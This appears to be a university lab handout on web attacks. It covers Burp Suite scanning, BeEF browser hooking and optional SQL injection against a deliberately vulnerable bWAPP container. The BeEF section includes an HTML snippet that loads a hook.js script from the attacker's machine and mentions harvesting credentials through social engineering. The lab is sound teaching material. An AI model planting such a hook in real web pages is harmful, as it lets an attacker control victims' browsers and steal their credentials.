**Lab 9 - Web Based Attacks**

**Objectives**

* Become familiar with web application scanning techniques.
* Become familiar with web application spidering.
* Become familiar with Cross Site Scripting attacks using BeEF.
* Become familiar with SQL injection attacks.

**Pre-Lab**

For this lab, you'll need your Kali, Windows 7, and the BWapp Container running in Kali and access to the internet.

1**. Using Burp Suite**

* Within Kali, select “Applications" - "Web Applications Analysis" – “Burpsuite”
* After opening Burp Suite, accept the terms and conditions and select "Temporary project" and then select "Start Burp". If you receive a message about Java, simply click "okay"
* Within Burp, select the Proxy tab to confirm "Intercept is off" and then click "Open Browser" to launch a Burp Browser to interact with website destintations.
* Within Burp, select the Target tab to bring it to focus to monitor the "targets" that are found while browsing websites.
* Within your Burp browser, go to http://www.umbc.edu
* Within Burp, take note of the entries that show on the target tab.

A computer screen shot of a computer

Description automatically generated

* Within your Burp browser, go to http://www.bom.gov.au/ and perform a couple searches.
* Within the target tab of Burp, highlight the entries related to the searches you performed and take note of the request and response tabs.

A computer screen shot of a computer screen

Description automatically generated

* Refer to the About page for information on starting the BWapp container.
* Once the container is started, navigate to the IP and port for the container in the Burp browser, which should be your Kali IP (or localhost) and port 8090.
* You should see a database error. To resolve, navigate to http://localhost:8090/install.php and click the link to install BWapp.
* Now re-access the main page. If it successfully loads, go back into Burp and verify that it is now listed as a target. Continue to browse through the BWapp application and take note of the pages logged within Burp, especially any of the injection related pages.

A computer screen shot of a computer

Description automatically generated

* At the completion of this section using Burp, you can close the Burp Browser or minimize it to go on to the Beef Section below using the regular browser within Kali.

2. **Using BeEF**

* Within Kali, open BeEF by clicking on “Applications” – “Exploitation Tools” – “BeEF XSS Framework”
* Once BeEF has loaded, access it within Kali by going to http://127.0.0.1:3000/ui/panel with the default credentials of username "beef" and password "beefbeef"
* Create an HTML file in the /var/www/html directory that references the hook.js file that you can access from another computer.

Example:

<html><head></head>

<body><script src="http://[KALI-IP]:3000/hook.js" type=text/javascript></script>

</body></html>

* Save file as beef.html

A screenshot of a computer

Description automatically generated

* In another virtual machine (such as Windows 7), access the BeEF website by going to http://[Kali-IP]/beef.html
* Once you’ve “hooked” your host machine, it will appear under the “Online Browsers” menu within the BeEF admin panel. Highlight your browser and begin sending attacks to it.

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

We can see a lot of attacks through Beef framework. We performed social engineering attacks to harvest credentials.

3. SQL Injection (Optional)

* Try to manually perform SQL injection against the BWapp Container web application.
* Refer to the About page for information on starting the BWapp container, if it is not currently running
* Log into the BWapp application using bee/bug as the credentials. Then select the page you want to hack. You may want to refer back to the Burp results from above.
* Have fun!

A screenshot of a computer

Description automatically generated